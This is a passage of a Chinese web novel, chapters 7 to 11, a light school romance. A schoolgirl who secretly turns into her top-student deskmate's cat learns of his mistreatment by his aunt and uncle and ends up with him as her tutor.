许屿在睡梦中被重击惊醒,眉头瞬间拧紧,眼底带着被惊扰的不悦和惯有的冷冽。他睁开眼,看着脸上这只罪魁祸猫,嗓音因睡意而低哑:“花花?”
沈初柠:“?”
是在叫她吗?这名字土得让她瞬间僵住。
她不满地冲他叫了一声,试图抗议这个毫无品味的称呼。
你可是学神耶!能不能去个腹有诗书气自华的名字。
然而这声喵叫在许屿听来,只是猫毫无意义的嘟囔。他面无表情地撑起身,将她从脸上拎开,语气平淡地猜测:“饿了?”
想起昨天她压根没碰猫粮,许屿认为这是最合理的解释。起床把猫粮倒入猫碗后,便抱着沈初柠过去。
沈初柠嗅了嗅,一闻就是不好吃。本来在家里吃薯片蛋糕就已经有点饱,现在看到这些猫粮更是毫无食欲,干脆身子一软,直接瘫在碗边。
许屿洗漱完回来,看到碗里的猫粮一动也没动。他的猫从昨晚就没吃过东西,不可能不饿,他开口:“不想吃这个?”
“喵。”
对的。
许屿沉默地看了她几秒,竟然鬼使神差地再次开口,打破了自言自语的荒谬感:“你想吃什么?我现在去买。”
话一出口,他自己先怔了一下,随即唇角勾起一丝极淡的自嘲。
他这两天似乎不太正常,竟然会对一只猫产生它能听懂的错觉,甚至期待它的回应。
但话音刚落,他却见小猫跳到他的书包旁,用爪子扒拉开最底层的拉链,里面塞满了零食小鱼仔还有一系列面包,果冻,多得几乎溢出。
许屿看着那堆无比眼熟的零食,又看向端坐在书包旁,一脸“就这个”表情的小猫,薄唇抿成一条直线。
这些他都在同桌沈初柠那里见到过。
至于为什么这些东西会出现在他的包里……
许屿望着翘首以盼的小猫。
一种极其怪异且无法解释的熟悉感悄然在心底升起。
许
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屿敛眸,放下沈初柠出了房间。
是清晨。
李秀兰和许雷都不在,许雷去上班,李秀兰去菜市场买菜。
许屿从冰箱里拿了两个鸡蛋,敲碎,蛋液倒在碗里搅拌,加水,加热。
平时睡到日上三竿的许格致难得起了个大早,刷牙时听见厨房传来微波炉的声响。以为是李秀兰在做早饭,过去准备问他妈做了什么好东西,发现是许屿。
视线落在桌台两个空蛋壳上面,耸耸肩,折回房间前说等会收拾干净,蛋壳最好扔筒子楼下的垃圾桶,扔远一点。
许屿知道他是好心提醒,“嗯”了声,却没照做。收拾完厨房,他等成型放凉,回卧室端给沈初柠。
许屿当然不会让沈初柠吃那些鱼干零食。他虽不了解如何养宠物,但也知道猫猫狗狗之类不能吃太多调料。
沈初柠本来不太想吃东西,看许屿又是猫粮又是蒸蛋,再想到作为一只猫她不吃不喝是有一点不太行。最后小尝了一口,没味,但也不难吃。
许屿手指顺着她的毛,等沈初柠慢慢吃完。
——
上午的时间无聊又漫长。有时候沈初柠还挺难理解那些古人,没有手机的日子到底是怎么熬过来。
许屿在给隔壁许格致辅导作业,沈初柠只能躺在他的床上无聊望天,还被叮嘱不要出去,不然他也养不了她。
好吧。沈初柠蠢蠢欲动的心瞬间被恐吓住了。
一只绵羊,两只绵羊,三只绵羊……
沈初柠被自己无聊到了。
房间里密不透风,怪压抑的。她跳上许屿的桌子,看看有什么好玩的。
桌上东西少得可怜。一个洗得发白的旧书包,几件叠放整齐却显陈旧的衣物,剩下的就是几本厚厚的书。她凑近看了看书名,《高等数学》、《软件工程导论》……
沈初柠看一眼就觉得一个头两个大,悻悻地用爪子拨了一下书脚,毫无兴趣。
就在这时,隔壁传来一阵不小的动静,是李秀兰回来了。她拔高的嗓音穿透薄薄的墙壁,清晰地钻了进来。
“……垃圾桶里的鸡蛋壳怎么回事?我早上刚数的,买来的鸡蛋少了两个!”
李秀兰刚回到家,打开冰箱,准备把刚买的菜放进去,却发现似乎少了点什么,仔细排查是两个鸡蛋。
她自然知道不是许格致吃的,许格致天天跟她抱怨鸡蛋吃的想吐,能不能换点菜品。
那只有许屿了。
房间之间隔音很差,许屿在许格致屋里讲题的声音清晰可见。
李秀兰三两步走过去,猛得打开许格致屋里的门。
她的视线落在许屿身上,语气带着毫不掩饰的阴阳怪气,“这家里真是进贼了,平白无故东西还会自己少。”
许屿放下笔,并不否认。他转过身,表情没什么变化,“我拿的。”
李秀兰正想再说些什么。
许屿却继续开口:“我早上在楼下超市重新买了一盒放桌上。另外,我找了份兼职。以后会晚点回来给许格致补习。”
李秀兰一听就炸了:“只有晚上?那怎么行!格致马上就要中考,你得全心全意辅导格致!兼职?谁让你去找兼职的?不行!”
她之前好不容易把许屿赶出去,后面又让他回来,给他住,给他吃。为的还不是为了许格致的学习!
8. chapter8
实验班每周都有一场周测,对于沈初柠来说无疑是一场智商阶的凌辱。
大型考还好,为了测全校学生的水平高低,教科组不会出太难的题。
但平时小测就不一样了,各班负责各班的考核。
这时实验班的任课老师们就会找各式各样的题来刁难。就比如上次某个题如果只用高中学的公式来解,其算法会过于复杂,然后许屿用了柯西不等式解决。
完全超纲了好吗?大学知识哎。
沈初柠又想到许屿房中桌上的那些她看不懂的书,叹息一口气,难道这就是人与人之间的差距?
语文英语考试还好,反正一堆套话往里面写。
理科就不一样了。
此刻的沈初柠和这些数学题大眼瞪小眼,然后深切明白一个道理。
男人会伤害你,女人会欺骗你。
但是数学题不会。
因为不会就是不会。
——
分数出来得要第二天,沈初柠考完后就立即决定等会放学拉着三五好友去吃喝,及时享乐。
秦宋推荐老城区步行街的一家真人密室,大概因为那边较为偏远,房租便宜,所以那家密室占地面积较广,设施比较齐全,玩法也多。
以少数服从多数,最后沈初柠他们选了一本重恐剧本。
是中式恐怖类型,工作人员分发了他们角色卡与照明灯就蒙住他们的眼睛送他们去了密室里面。
到场地里就各自摘了眼罩,一开始行程还颇为顺利,五个人一起走,沈初柠走前面,秦宋最后。
后面就出现大BOSS,别看反派老奶奶年岁高,跑步却是一把好手。
把秦宋抓过去过剧情,然后开启他的单人任务解题。
其他四人待在小木屋里,等了差不多一小时。又没手机,颇为无聊。
周曜说:“什么题这么难,秦宋这么久都没解出来,也太丢我们一班脸了。”
虞灿叹口气:“应该带本书进来看的。”
申逸明:“要不算了?放弃得了。”
沈初柠突发奇想,联想起之前在网上刷到骇人听闻的一桩桩事件:“他不会被拐卖了吧!”
其他三人同时望向她,睁大眼睛。
“就比如有什么暗门之类的,把他给劫持走了。”
突然听广播提示音响起:“韦嘉庆(秦宋角色牌上的名字)放弃,第一小队通关失败。”
沈初柠:“……看来是我高估他的智商了。”
最后五人灰头土脸的走出来。
虞灿:“什么题把你难住了?”
秦宋一提及那个就来气,“难怪说什么闯关成功率几乎百分之0的,微积分,这谁做的出来!”
“许屿可以呀。”沈初柠突然想起他桌上那堆大学才用得上的书。
其他四人想想,也是。
虞灿瞥了秦颂一眼:“以后别说是南华实验班的。”
“为什么?”秦宋反应过来,“虞灿你瞧不起我是不是?”他看见一旁玩手机的沈初柠,笑了声:“那沈初柠以后别说是南华的好了。”
沈初柠:“?”
莫名被卷入这场口舌之战中。
她知道秦宋在嘲讽她的智商,立即瞪圆眼睛望着他,“你完蛋了秦宋!”
她走过去想要捶秦宋一拳,但秦宋哪会这么轻易让她打,仗着腿长优势边跑边说沈初柠小短腿,跑不快。
两人追追打打跑进了一家奶茶店,正好刚玩完密室都渴了。
到了店内秦宋举双手投降,“休战,休战。”
被逗了这么久,沈初柠哪会这么轻易放过他。正准备给秦宋试试她的厉害,看他以后还敢不敢小瞧她。
却听一声清冷,没什么情绪波澜的嗓音响起:“你好,请问想喝点什么?”
这声音……有点耳熟?
沈初柠下意识地抬头,看清站在点单台后的,竟然是许屿。然后默默放下拳头,开始拘谨。
他穿着奶茶店统一的深色围裙,衬得皮肤愈发冷白。
沈初柠的心跳莫名漏了一拍,不知道是不是紧张的:“学……许屿?你在这里兼职啊?”
“嗯。”许屿应了一声,极其简短,没有任何多余的寒暄。公事公办地重复了一遍刚才的问题,语气疏离:“想喝什么?”
他修长的手指搭在点单屏上,等待着输入。
沈初柠慌忙指向菜单上的一款饮品:“就……就这个,七分甜,多冰。”她又连忙报了符合其他三人口味的奶茶。
“给我也点一份。”一旁的秦宋说。
碍于许屿在场,沈初柠稍微注意一点形象,没说滚。开始素质起来,“你自己付钱。”
秦宋嬉皮笑脸,“这不最近‘销’荣耀皮肤出来,目前手里有点亏空,还得仰仗沈聪明大人不记小人过。”
“哼。”沈初柠勉为其难应下他的奉承,“那你点吧。”
秦宋报完一系列要求以及要加的小料。
“好的,请稍等。”许屿操作完,报出一个数字,没说多余的话,转身就去制作饮品。
等许屿走开,秦宋才凑到沈初柠身边,小声说:“我还以为像许屿这种次次年纪第一的是学习机器,资料不离手的那种。他怎么放学出来打工了?”
“你问我,我怎么知道?”
“你俩不是同桌?”
沈初柠哼哼唧唧,“同桌之间关系就一定很好吗?”
秦宋轻嗤,“你不是自诩混遍天下全好友?”
沈初柠怒而踩他脚,小声喝道:“少废话。”
“靠,太过分了沈初柠,这我新鞋。”
……
许屿动作很快,几杯奶茶几分钟就搞定,完全看不出他是新手。
他转身时,沈初柠就止住话夹。等他把东西打包好递给沈初柠,沈初柠连忙接过,笑着对许屿说,“谢谢你呀。”眉眼弯弯。
许屿冰冷的眉眼有了一点松动,微不可闻地“嗯”了声。
沈初柠出门便与后面赶来的几人碰了个正着,她将奶茶分发给其他人。
几人见天色已晚,便打算索性找附近一家餐厅吃饭。少数服从多少,最后决定去吃海底捞。
朋友间聚会,也不讲究平时餐桌礼仪,比如什么食不言寝不语。
众人对秦宋口诛笔伐,针对之前密室中秦宋没有解出答案,导致他们白等一小时且无功而返。
秦宋也很无奈,他非常无语:“中式恐怖还用上微积分?我是真的看不懂好吧。是让我猜个甲骨文还差不多。”
沈初柠夹了块番茄锅里的牛肉片,挑眉:“菜!就多练。”
“切。”
秦宋突然想到,“话说,许屿家是怎么回事啊?都高二了怎么还让他出来打工的?”
像许屿年年霸榜第一的学神,在南华都是出了名的。秦宋这么说,其他人都来了兴趣,申逸明看向沈初柠:“沈初柠,你知不知道内幕?”
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沈初柠想起在许屿家的所闻所见,“他家里人好像对他不好。”
周曜:“你怎么知道的?”
沈初柠仰起下巴,“我变成他的猫了。”
“什么?”
“变成猫,一只狸花猫。”
秦宋噗嗤笑出了声,差点被辣锅呛到,望了一下天花板,点点头:“也是,到晚上了,容易做梦。”
沈初柠没好气瞪他一眼。
但变猫这事的确过于离奇。不信就不信,沈初柠懒得再提。
“话说……你不是说,要迟早拿下许屿给你抄作业的?怎么样,这个进度?”周曜问道。
秦宋又笑:“八字都没一撇,我看人家现在都懒得搭理她。”
笑笑笑,笑死他得了。
沈初柠鼓起嘴,哼了声:“谁说懒得搭理我的,我跟你说,不超过一个月,我就能和许屿成为朋友。”
她看向桌上反应平平的几人,“不信?”
几人没有任何支持的想法。
还是秦宋开口,他挑眉:“那打个赌?”
“赌什么?”
“你提。”
“秦宋包下我一学期的皮肤,周曜给我打一个赛季的辅助,申逸明嘛,你就给我带一学期的早餐,至于虞灿……”
虞灿举手:“我相信你。我赌你赢。”
“行吧~”
沈初柠兴致饶好。
换做以前,她不知道许屿的喜好,可能难以讨好许屿。但现在可不一样,穿成许屿的猫猫后,简直不要太易如反掌。
她赢定了。
——
隔天却听说,许屿兼职时遭人举报,说那家店用未成年,然后许屿被辞退了回去。
沈初柠当时站在班主任办公室背书。
实在难评,似乎所有老师都有了共同意识,觉得沈初柠理科考差了也没办法,毕竟基础在那。
但沈初柠这次出师不利,语文课文默写十分扣了九分,要么是错别字,要么就是背书背串了,就比如“会须一饮三百杯”,“烹羊宰牛且为乐”两句诗背倒过来。
方芸批到她的卷子差点犯了高血压,让沈初柠在体育课时,把这学期学的所有内容,重新默写给她看。
江涛在办公室里看见故人重游也是喝了口茶,缓了会。
老师之间的话题自然离不开学生,办公室里的任课老师谈着谈着不知就怎么说到许屿身上。
然后就谈及许屿兼职被人举报的事。
有老师问:“不是说未成年人不允许上班?那老板怎么会用他?”
江涛叹口气,“价格给的挺低,利润大,有些老板总愿意试一下的。而且一般不会查。现在高中生长得跟大学生似的,人高马大,别人也不会质疑他的年龄。估计这就答应了。”
沈初柠弱弱开口:“那怎么就突然被举报了?”
“肯定是他那婶婶,天天作妖。”江涛忿忿不平,话音刚落,反应过来,朝沈初柠:“好好背你的书。”
他兼职恨铁不成钢,沈初柠有这么好的条件偏偏不学无术。
挨骂了的沈初柠站在角落,“哦”了声,尽量降低自己的存在感,省得受到二次伤害。。
但是……话说,沈初柠想起,似乎许屿说要兼职那天,他的婶婶的确不同意的样子。
但直接去举报……好像不太好吧。
脑海里闪过许屿的脸。
许屿的家里人好像对他一点也不好。
9. chapter9
晚上放学没看见司机的人。
沈初柠左右望了两下,发现远处梧桐树下沈天都正握着手机,眉头微蹙地讲着电话。
她和身边的好友们摆手告别,小跑过去,沈天都看到她,朝她招了招手,空着的左手伸向她身后,准备帮她拿书包。
沈初柠三两下侧身避开,抢先跑到车旁,拉开车门就钻了进去。
她书包就一个摆设,除了每天上学会带点零食去学校,基本就是空的。被她爸察觉又得念叨她不学无术。
车辆平稳启动,汇入车流。沈初柠看着窗外,发现并不是回家的路。正准备问沈天都,看见对方还在打电话。
沈初柠闭嘴,心想大概她爸又要去谈生意,顺带捎上她一起吃饭。
车子最终在一家格调高雅的酒店门前停下。
沈初柠跟着沈天都下车进去,穿着得体制服的服务生立刻迎接上来,引领他们穿过走廊,走进包厢。
包厢门半开,远远望去,沈初柠就看见里面坐着的人分外眼熟,这不就是他们每周一必在主席台上致辞的校长?
她一愣,不好的预感油然而生。
想想最近干的缺德事,上课玩手机……她已经被请过家长了。物理课不小心睡过去……嘶,江涛还没告诉过她爸。这次周测倒一……
沈初柠闭眼,总不能这些要劳烦校长亲自走一趟吧。
她有点想临阵脱逃。
只是刚一转身,却猝不及防地撞进一个带着清冽皂角香气的怀抱里。
这味道还怪熟悉的。
沈初柠捂着额头后退半步,抬眼正对上对方那双沉静无波的黑眸。
是许屿。他不知何时出现在她身后,此刻正微微垂眼看着她,脸上没什么表情,只是侧身让开了空间。
沈初柠的心跳没来由地漏跳了一拍,下意识规规矩矩地溜到空位上坐好,但是鼻尖仿佛还萦绕着那抹干净又冷淡的气息。
“仇校长,久等了久等了。”
沈天都到包厢就挂断电话,看见校长在里打招呼问好。
仇校长看见沈天都后,他也站起身赶紧迎了上去,二人寒暄。
和校长坐一起吃饭,沈初柠算是第三次经历。第一次是考上南华,第二次是去了实验班,沈天都怕沈初柠在学霸堆里受排挤,特意找校长通通气。
事实上纯属多余,沈初柠可谓是如鱼得水,当然,这是在坐在许屿旁边之前。
“早就该亲自谢谢您对学校的尽心尽力,尤其是对小女的关照,一直没找到合适的机会。”
沈天都嘴角带着笑,语气是熟稔的社交辞令,却因提及女儿而多了几分真切的无奈:
“我这女儿,真是被我惯坏了。其他科目暂且不说,连最基础的语文都能考出那样的分数,实在是……”
沈初柠埋头扒饭,有点尴尬。
仇校长笑着接过话头,“沈总过谦了。初柠同学平时很聪明的。之前你托我找的补课老师,你看这位许屿同学怎么样?”
沈天都随他的视线落在许屿身上。
是一个极其清俊的少年,穿着洗得有些发白的干净校服,身姿挺拔如松竹。他眉眼干净,鼻梁高挺,唇色偏淡,组合在一起有种清冷的好看。
虽然这人看起来比同龄人多了几分稳重与成熟,但那份年轻和过于出众的相貌,在此刻沈天都的眼里,已然成为不靠谱的代名词。
这看起来更像是个应该出现在杂志内页或者偶像剧里的模特,而非一个能镇住他那个顽劣女儿的家教老师。
沈天都眼底闪过一丝难以掩饰的疑虑和不满,虽然他很快用端茶杯的动作掩饰了过去,但依旧被仇校长看出几分。
仇校长笑着说:“不瞒你说。许同学之前是我们市的中考状元,学校破例三年学杂费全免。一直以来各种竞赛拿了不少奖,帮学校争得了不少荣誉,以后保送京大不成问题。
更何况他和沈同学还是同班同学,两个人交流起来更有话题是不是?”
沈天都本来对许屿之前是中考状元,以及后面种种荣誉稍有些满意,但紧随其后的后面那句显然是触碰到他的雷区。
就这个共同话题。以他的经验来讲,别说许屿这个同龄人了,就那些二十几的京大毕业生来和沈初柠坐一起,只要沈初柠想,就能把他们带偏。
沈天都这个愁。再开口时,语气里的热情又淡了几分,打算拒绝。
却被沈初柠轻轻推了下。
沈初柠没开口说话,到底是父女,光从她眼神上,沈天都能看出,沈初柠的意思是
——爸爸,就要他呗。
——
一顿饭吃到晚上八点,几人在酒店门口分别。
许屿去附近的地铁站点,却被仇校长叫住。
他回头,见校长站在车旁,朝他招了招手。
“天色不早了,这边离旧城区远,地铁得转好几趟。”仇校长语气随意,仿佛只是顺口一提。
他知道许屿的近况,但没有提及任何关于费用的字眼,这个年纪的少年自尊心最强。
他说:“正好我今天没喝酒,顺路送你一趟,上车吧。”
许屿微怔,随即低声道:“谢谢校长。”
车子汇入夜晚的车流。
车内气氛安静,透过后视镜,仇校长看到灯光投射下许屿那张半明半暗的脸。
他在心里叹了口气。
其实他原本给沈初柠安排的补课老师另有人选,只是下午的时候江涛找到了他,谈及许屿的事。
许屿的名气可不小,作为中考状元本来许屿是想去隔壁一中的,问了原因才知道许屿是为那给出的条件丰厚。
说实话也丰厚不到哪去,无非学费,学杂费,加上一些奖金。还是当初仇校长也补足了这些条件,许屿才来的南华。
也由此,基本所有老师都知道许屿家的那点事。
仇校长其实挺想不通。明明有个如此优秀的侄子,许雷一家只要好好托举,何愁以后许屿不飞黄腾达,反哺他们?他们反倒还处处阻挠,别说给点零花钱交学费了,就连人家出去打个工都要举报。
但是……
随着周围市区灯光的明明灭灭,仇校长不由自主地就想起沈初柠。
话说沈初柠那小油条什么时候这么好学了?之前给她安排家教百般不愿的,故意搞出那么多恶作剧来吓走他们,这次竟然完全没吭声?
仇校长狐疑地看了许屿一眼。
怎么感觉有猫腻。
——
另一处的沈天都也觉得不对劲,以往他给沈初柠安排家教,沈初柠都躲得远远的,这次接受的挺快,反倒最后还专门钦点。
但毕竟沈初柠愿意补课,总不能像之前那样胡作非为。沈天都
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倒也不追究,想上进就行。
沈初柠的手机不停震动。
秦宋在五人小群里呼朋唤友。
[@沈初柠@周曜@虞灿@申逸明英语《五三》第十一章2课有没有答案,刚躺床上时候,突然想起这玩意还没动。]
周曜:[放学校了。]
虞灿:[+1]
申逸明:[我们班还没讲到这。]
秦宋:[@沈初柠]
秦宋:[@沈初柠]
沈初柠回他:[在外面]
秦宋:[?这么晚了不回家干嘛?]
沈初柠:[我爸让校长给我找了个家教。]
秦宋+周曜:[?]
周曜:[沈叔现在还没放弃?]
虞灿话问道点子上:[柠檬,你还要继续延续当初那个办法吗?]
车子开入别墅门口,沈初柠边下车边回:[不行了。]
秦宋:[改性了?]
沈初柠叹了口气,回他们:[家教是许屿。唉。]
秦宋:[?]
周曜:[?]
虞灿:[?]
就连一直潜水的申逸明都缓缓扣出了个问号。
沈初柠也很无奈。在门口换了鞋,就朝她的卧室走去。
进入房间后,直直的躺在她那张柔软的大床上。
说实话,让别人来教,哪怕是江涛,她都能偷奸耍滑打诨混过去。
但偏偏是许屿。
唉。
有点后悔她的一时冲动。但沈初柠想起下午她在老师办公室听见的那些对话,又觉得她以后稍微受一点学习的苦也不是不行。
记得当时一位老师说:“……许屿那孩子,真是可惜了。爸妈离开的早,留下的那点钱,全被他叔婶吞了买房,剩下的那点也没给他留,听说都挥霍投资,现在倒来苛待孩子。”
另一个回应:“听说初中就不给交学费了,要不是学校全免,早辍学了。现在自己打工挣大学学费,他婶婶还为这个闹,嫌耽误给她儿子补课……听说之前还把他赶出去过,后面又巴巴让人家回来。”
沈初柠算是在爱里长大的。与她玩在一起的朋友,也都家庭美满幸福。
她其实一直不明白为什么许屿一直都那么高冷又不近人情,直到那时才理解那种与年龄不符的冷漠和疏离从何而来。
就像之前在书里看到的那样,有些人活着就已经用尽所有力气了。
同情心泛滥?圣母降临?
貌似都不是。
她好像只想让许屿开心一点。
——
筒子楼里拥挤狭窄,轿车一般开不进去,许屿便自行下了车,与邱校长告别。
周边昏暗,这块地方的居住民们为了省电,一般都会早睡,只有零星几户人家还会亮着灯。许屿从小就是沿着这点微弱的光,找到回去的路。
李秀兰家住得离出口近,三两步就能走到。当初他们家拿到那一大笔钱后买房时特意选的位置,虽然比其他稍贵一点,到底是白得来的钱,用着也不心疼,索性直接买了个靠前,交通稍微便利的地方。
许屿进屋的时候,李秀兰正关着灯在客厅里看电视。
房子老旧,门也很久不换,开门就有陈年的吱呀声,听见这声,李秀兰偏头看了许屿一眼,转瞬翻了个白眼,开始阴阳怪气。
10. chapter10
“呦。大忙人可算回来了。”
“都几点了,你弟还等着你补习。他马上就中考,耽误他考高中你能付的了责?”
许屿换鞋没有说话。
“喂?讨债鬼,唔在和哝讲话。麻得一嗲礼貌的哝。”
许屿停住,沉默了几秒,才缓缓开口,声音不高,像冰冷的石子投入死水:“以后双休我会去帮别人补课,许格致那边我平时放学回来会教。”
李秀兰这边急了,眼睛也不盯着电视了,整个人直接转向许屿,大声质问:“那怎么行!48小时怎么可能划得来!你堂弟考不上高中你负责?!”
却见许屿也目光沉静地看向她,那眼神让李秀兰莫名地心头一窒,浑身都有些发冷。
她算从小看着许屿长大,小时候性格还算讨人喜欢一点,现在是越长大越让人捉摸不透。
最后李秀兰到底还是心虚,是她专门拨打热线电话举报的。虽没和谁说过,但大家都心知肚明。
也只能吃下这个哑巴亏。
“嘛依赁心的白眼狼,早知道这样,当初唔就不应该把哝接过来养。”
许屿没管身后的咒骂,从小到大这种话他听了不少。
一开始是说他吃白饭,后面等有了学校给的奖学金以及竞赛奖金交给她,李秀兰就换着其他话骂。
“那我搬回去住。”
李秀兰话又止住。
许屿没再管她,进了房内。
屋内的小猫从床底钻了出来蹭着他的裤腿。
许屿蹲下身顺了它的毛。
转眼便见那只原本满满当当装着猫粮的碗里面空空如也。
微微诧异,明明他记得小猫似乎并不爱吃猫粮来着。但面色不改。
狸花猫朝他“喵喵”叫,转身跳上桌努力想把装着猫粮的包装袋挪到许屿那边去,它有点饿了。
发现挪不动,只好又跳回许屿身边,眼睛亮晶晶的望着他。
许屿看着,觉得有些熟悉的眼神。
他莫名想到,沈初柠似乎也总喜欢这样望着他。
——
回想起之前在仇校长的车上。
气氛安静。
知道许屿不爱说话的性格,仇校长主动开口。他随便找点话聊,就提及了沈初柠。
握着方向盘,仇校长闲聊一样开口:“听说沈初柠那个孩子也是在江老师班里?”
许屿:“嗯。”
“你对她看法怎么样?”
“……很爱说话。”
仇校长失笑:“这小姑娘聪明是聪明,就是太皮。我听说之前沈总给她请过好几个家教,据说有些没上过几天就被气跑了。”
他摇了摇头,“估计沈天都是手里实在没人可用了,才找到我这儿来。这孩子,真是个烫手山芋。”
许屿安静地听着。
沈初柠?调皮?
他想起刚刚在席间的沈初柠,看起来是有些坐不住,平时上课也是,眼神灵动得过分,确实不爱读书。
还有刚才沈初柠自以为很小心的,谁都看不见的,偷偷地拉扯沈天都的衣袖,露出的那一点央求。
那些趁着所有人不注意,迅速塞进他书包侧袋或是抽屉里的零食,五花八门,带着一种笨拙又直接的“贿赂”意味。
想到这里,许屿的唇角几不可察地勾起一丝极淡的、近乎嘲讽的弧度。
善良?
他在心里重复了一遍这个词。
或许吧。一种被保护得太好、不谙世事,甚至显得有些愚蠢的天真和善良。与他的世界格格不入,却意外地……并不让人讨厌。
他收回目光,看向前方被车灯照亮的道路,只淡淡应了一声:“嗯。”
——
沈初柠对许屿的所思所想一无所知,现在的她正在和周曜与秦宋三排。
她玩的是射手位置,让周曜过去打野,而秦宋这次玩的法师。
赛季初后期,不像末期那么赶,稍微输两把也没事。总不能因孩子技术差就让他一直辅助,好歹来点游戏体验。
这是沈初柠最初的想法。
后面就被秦宋的“无意识,无操作”戳破道心。
作为脆皮大射手,加之格莉香这个人物本来就是靠前期发育。
因对面中路来支援,而秦宋傻呵呵地不知道在干嘛也不给信号,沈初柠连连损失了点经验值之后。
半夜三更,她怒极,困意全无,打开麦,连连批判了秦宋的菜。
周曜也跟着应和几句。
一个人这样说还好,两个人都说他。秦宋嘴硬,反驳,但游戏上还算知错就改,不再像之前那样划水,光光他俩人带飞。
直到天色稍亮,太阳东升。
三人忽然发现,竟然一夜没睡。
——
早读课是英语。
课上前十分钟英语老师先给听了听力。
后面就让背单词。
沈初柠简直困得不知道东南西北
她强撑着沉重的眼皮,笔尖在单词本上机械地划动。
abandon,abandon,放弃——
这词简直是为此刻的她量身定做。
就在某个瞬间,她的额头猝不及防地磕向桌面。
“咚”的一声闷响。
从后面传来几声闷笑,不用想沈初柠就知道是谁。
她抬头悄悄眯了英语老师一眼,果然见对方瞪了她一下,沈初柠又悻悻低下头假装很认真地背单词,但还是忍不住困意。
不过英语老师也没光瞪她,“秦宋,周曜,觉得很好笑?站起来。别以为我没看到你俩刚刚也在那睡。”
被喊到的两人“啊?”了声,不情不愿地拿起书站起来读,早知如此何必当初。
见沈初柠实在是困得厉害,许屿翻书页的动作微微一顿。
虽然连一个眼神都没有分过来,他依然垂眸看着自己的物理竞赛题。这是校长应允的,对许屿的特有待遇,毕竟基本每次他的分数都满分,自然不用将时间用在这些基础知识上面。
思考片刻,许屿左手将口袋里的青柠味薄荷糖从桌上移了过去,能提神。
那是早上他刚买的,无意看见学校旁边的小卖部,鬼使神差地就进去了。
却见身边人毫无反应,他侧眸看了眼。
许屿:“……”
身旁人又坐着睡着了。
算了。
过了几十分钟,下课铃声响起。
沈初柠勉强补了个短觉,虽然效用一般,但起码没有困得昏天黑地。醒来发现桌上多了一块糖。
这是谁给她的?
秦宋周曜还是前桌后桌,同
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桌……算了,许屿不太可能。
她本来想问,但这是早餐时间,一堆人都去了食堂,周围人空空如也。教室里剩下的零星几人坐得离她远,估计也不知道。
想了想,沈初柠决定放弃询问,反正也不是什么大事。
把糖随便揣兜里继续趴桌上睡觉。
上课——犯困——下课——睡觉——上课。
周而复始,又度过了高二一个平平无奇的一天。
沈初柠和虞灿约好放学后,去学校附近的小吃街逛逛,便提前打电话和司机晚点来接。
夕阳将天空染成暖橙色,空气中的燥热褪去少许。可能这只是她的心理作用。
反正除了校园,连风都是舒服的。在学校里,连觉都是睡不安稳的,好吧,虽然她很爱睡就对了。
她和虞灿随着人流走出教学楼。
小吃街与学校就隔了一条马路,因为主要顾客都是学生,卖的小吃那叫个物美价廉。
夕阳西下,正是高中生下学的时间。此时各摊子上已是炊烟袅袅,香气四溢,各种叫卖声、交谈声混杂在一起,很是热闹。沈初柠拉着虞灿先去了她最喜欢的一家章鱼小丸子摊子那排队。
摊主是一对中年夫妻,看见沈初柠这个老顾客也是二话不说,给她加了足足的料。边做边问她最近学习怎么样。
没办法,大人都爱问这个,属于他们的通病了这是。
要是以前在平行班还好,沈初柠还能大声说,这点小题目justsoso。
现在……唉。
摊主见她这样,也没多问。把做好的那盒小丸子给她,只道努力就好,别太有压力。
沈初柠用力点头,但凡老班有这种觉悟,也不至于天天血压高了。
买了两份章鱼小丸子,把另一盒给虞灿。不同口味的,一盒放番茄酱的,另一盒沙拉酱。
刚出炉的章鱼小丸子金黄酥脆,用竹签轻轻戳开,便能看见内里饱满滚烫的章鱼粒。一口咬下,面糊的软嫩与章鱼脚的Q弹在口中交织,热气瞬间蒸腾而上。
沈初柠吃得又急,不可避免地被烫地舌头发麻,她赶紧用手给嘴巴扇风,妄图快速降温。
虞灿也用竹签小口小口地吃着。
两人在小吃街上随意逛。
“话说……你和许屿现在关系怎么样了?”
谈到这个沈初柠就痛心疾首。
“能怎么样?”她继续戳了块蒸鱼小丸子,但这次学聪明了,没大口全包下去。声音含糊,“就……普通同桌呗。”
“唉!”说到这个沈初柠就裂开,从小到大就没她搞不定的人,但许屿就360度没下手的地方。
沈初柠甚至都在考虑,要不要和江涛商量直接换同桌。不过如果她真主动开口,江涛反而觉得有人能治住她,不给换了。
沈初柠没忍住,“你说他这人怎么就这么难搞定呢。”
正说着,肩膀突然被人一拍。本来沈初柠说着别人坏话就做贼心虚地来着,这么一弄,当即就吓了一跳。
“干嘛呢?跟偷人东西了的似的。”
沈初柠一看,好好好,秦宋。
“我问你才是,你不是在晚自习?”
秦宋“嘿”了两声,眉间一挑,“去不去跟哥点个男模玩玩?”
“各种类型,任你挑选。”
11. chapter11
沈初柠撸撸狗头。
一只墩墩胖的萨摩耶端坐在地板上,对于她的触碰表示无比顺从。它身上雪白的毛发像发酵的云,嘴角微微上扬,露出招牌的“天使笑容”,身后大尾巴也在地上扫来扫去,看上去极其欢快。
虽然……的确。这狗挺有当男模的自觉性,对于她的蹂躏毫不抗拒。
但……
沈初柠没忍住转过头,去看秦宋,“这就是你和我说的男模?”
她还以为要干什么少儿不良的事情。
秦宋坐电竞椅上,手上跟随耳机上指挥的命令,拖动鼠标做出操作。听沈初柠正话,一心二意地回复,“你刚把不是看了吗,咱这网吧专用模子陪玩,还是小公狗,你就说是不是男模吧。”
沈初柠:“那你说的任意类型,任我挑选?”
“哎呀。下单界面上有,什么女仆装,猫耳装,公主裙,小jk,应有尽有,让奶糖穿什么都行。就说这是不是任你挑选。”
秦宋盯着屏幕目不转睛,补充:“而且一小时一块钱,你这纯纯物美价廉。怎么了?不满意?沈初柠。”
他故意把她的名字喊的很重,语气满满都是对她龌龊心思的鄙夷,“你不会以为我要带你去点这男模把?啧啧啧,少儿不宜,少儿不宜。”
他喊虞灿,“你说沈初柠怎么会如此想,当真就是……”
虞灿正撕了香肠的包装喂给萨摩耶吃,她开口,“别扯上我谢谢。”
沈初柠对秦宋这倒打一耙的行为,极是甘拜下风。真是厚颜无耻。
秦宋突然“靠”了一声。
怒而捶桌,“死了。我靠,对面什么时候来了这么牛逼的人?我买的可是顶级装备!
“算了,还好我有先见之明。”他站起身,一改刚才,极其狗腿地把沈初柠请到他的电竞椅上。
沈初柠看电脑屏幕里角色众多,像是在打群架。
秦宋谄媚,“沈女侠,帮我揍死他们呗。”
沈初柠无语,刚刚他可不是这副德性。“滚呐。”
